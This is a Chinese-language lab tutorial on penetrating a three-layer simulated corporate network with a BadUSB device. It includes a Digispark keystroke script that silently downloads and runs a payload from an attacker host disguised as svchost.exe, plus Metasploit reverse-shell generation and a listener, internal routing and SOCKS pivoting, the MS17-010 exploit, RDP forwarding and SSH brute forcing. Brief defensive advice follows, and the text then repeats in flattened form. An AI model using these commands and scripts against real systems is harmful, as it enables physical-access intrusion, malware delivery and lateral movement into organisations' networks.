社工模拟——利用BadUSB穿透3层内网
字数 1212 2025-08-27 12:33:37

BadUSB内网渗透实战教学文档

0x00 实验概述

本实验模拟通过BadUSB设备渗透三层内网环境,从外网逐步渗透至核心网络。实验环境使用VMware搭建三层网络靶场,结合BadUSB和Metasploit框架实现内网穿透。

0x01 网络拓扑搭建

网络结构设计

  • 第一层网络:模拟企业办公网,Win7员工电脑
  • 第二层网络:模拟内网服务器,Win2003服务器
  • 第三层网络:企业核心网,Linux服务器
  • 攻击机:Kali Linux和Win10

VMware网络配置

  1. 创建三块仅主机模式网卡:vmnet1、vmnet2、vmnet3
  2. Kali设为第一层网络(vmnet1)
  3. Win7配置双网卡:vmnet1(连接Kali)和vmnet2
  4. Win2003配置双网卡:vmnet2和vmnet3
  5. Linux设为vmnet3

0x02 BadUSB原理与制作

BadUSB工作原理

  • 将USB设备伪装成HID设备(如键盘)
  • 通过预编程的指令自动执行攻击脚本
  • 恶意代码存储在U盘固件中,无法通过常规杀毒软件检测

制作工具准备

  1. 硬件设备:Digispark开发板(基于ATTINY85微控制器)
  2. 开发环境:Arduino IDE
    • 配置开发板为Digispark
    • 编程器设为USBtinyISP

攻击脚本示例

#include "DigiKeyboard.h"
void setup() {
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print("cmd /k powershell -w hidden -c \"(new-object System.Net.WebClient).DownloadFile('http://攻击者IP/shell.exe','%TEMP%\\svchost.exe');Start-Process '%TEMP%\\svchost.exe'\"");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
}
void loop() {}

0x03 MSF后门制作与监听

生成Payload

msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击者IP LPORT=6666 -f exe > shell.exe

设置监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 攻击者IP
set LPORT 6666
exploit

0x04 内网渗透技术

Meterpreter基本操作

  1. 获取系统shell:shell
  2. 查看网络配置:ipconfig
  3. 添加路由:run autoroute -s 192.168.90.0/24

Socks代理设置

use auxiliary/server/socks4a
set srvhost 攻击者IP
set srvport 9999
run

端口扫描技巧

  1. 配置proxychain:修改/etc/proxychains.conf
  2. 通过代理扫描:
proxychains nmap -Pn -sT -p80,3306,445,3389,22 目标IP

注意:必须使用-Pn -sT参数

永恒之蓝利用(MS17-010)

use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set RHOST 目标IP
set LPORT 4444
exploit

远程桌面管理

  1. 开启RDP服务:
run post/windows/manage/enable_rdp
  1. 端口转发:
portfwd add -l 7777 -p 3389 -r 目标IP

SSH爆破技术

use auxiliary/scanner/ssh/ssh_login
set RHOSTS 目标IP
set USERNAME root
set PASS_FILE /path/to/passwords.txt
run

0x05 Web渗透思路

  1. 通过代理访问内网Web服务
  2. 识别CMS类型(如Typecho)
  3. 搜索公开漏洞利用代码
  4. 尝试上传Webshell或利用RCE漏洞

0x06 防御建议

  1. USB设备管理

    • 禁用自动运行功能
    • 禁止使用未知来源USB设备
    • 使用USB端口控制软件
  2. 系统加固

    • 及时安装系统补丁
    • 部署终端防护软件
    • 定期更新病毒库
  3. 网络防护

    • 实施网络分段隔离
    • 部署IDS/IPS系统
    • 监控异常网络流量
  4. 账户安全

    • 禁用弱口令
    • 实施多因素认证
    • 定期更换密码

0x07 实验总结

本实验完整演示了从物理接触攻击到内网渗透的全过程,涉及多种攻击技术:

  • BadUSB设备制作与利用
  • Meterpreter会话管理
  • 内网路由与代理配置
  • 漏洞利用(MS17-010)
  • 横向移动技术
  • 密码爆破与Web渗透

实际环境中防御措施更为复杂,但基础安全措施(如补丁更新、强密码策略等)能有效阻止大部分此类攻击。

BadUSB内网渗透实战教学文档 0x00 实验概述 本实验模拟通过BadUSB设备渗透三层内网环境,从外网逐步渗透至核心网络。实验环境使用VMware搭建三层网络靶场,结合BadUSB和Metasploit框架实现内网穿透。 0x01 网络拓扑搭建 网络结构设计 第一层网络 :模拟企业办公网,Win7员工电脑 第二层网络 :模拟内网服务器,Win2003服务器 第三层网络 :企业核心网,Linux服务器 攻击机 :Kali Linux和Win10 VMware网络配置 创建三块仅主机模式网卡:vmnet1、vmnet2、vmnet3 Kali设为第一层网络(vmnet1) Win7配置双网卡:vmnet1(连接Kali)和vmnet2 Win2003配置双网卡:vmnet2和vmnet3 Linux设为vmnet3 0x02 BadUSB原理与制作 BadUSB工作原理 将USB设备伪装成HID设备(如键盘) 通过预编程的指令自动执行攻击脚本 恶意代码存储在U盘固件中,无法通过常规杀毒软件检测 制作工具准备 硬件设备 :Digispark开发板(基于ATTINY85微控制器) 开发环境 :Arduino IDE 配置开发板为Digispark 编程器设为USBtinyISP 攻击脚本示例 0x03 MSF后门制作与监听 生成Payload 设置监听 0x04 内网渗透技术 Meterpreter基本操作 获取系统shell: shell 查看网络配置: ipconfig 添加路由: run autoroute -s 192.168.90.0/24 Socks代理设置 端口扫描技巧 配置proxychain:修改 /etc/proxychains.conf 通过代理扫描: 注意:必须使用 -Pn -sT 参数 永恒之蓝利用(MS17-010) 远程桌面管理 开启RDP服务: 端口转发: SSH爆破技术 0x05 Web渗透思路 通过代理访问内网Web服务 识别CMS类型(如Typecho) 搜索公开漏洞利用代码 尝试上传Webshell或利用RCE漏洞 0x06 防御建议 USB设备管理 : 禁用自动运行功能 禁止使用未知来源USB设备 使用USB端口控制软件 系统加固 : 及时安装系统补丁 部署终端防护软件 定期更新病毒库 网络防护 : 实施网络分段隔离 部署IDS/IPS系统 监控异常网络流量 账户安全 : 禁用弱口令 实施多因素认证 定期更换密码 0x07 实验总结 本实验完整演示了从物理接触攻击到内网渗透的全过程,涉及多种攻击技术: BadUSB设备制作与利用 Meterpreter会话管理 内网路由与代理配置 漏洞利用(MS17-010) 横向移动技术 密码爆破与Web渗透 实际环境中防御措施更为复杂,但基础安全措施(如补丁更新、强密码策略等)能有效阻止大部分此类攻击。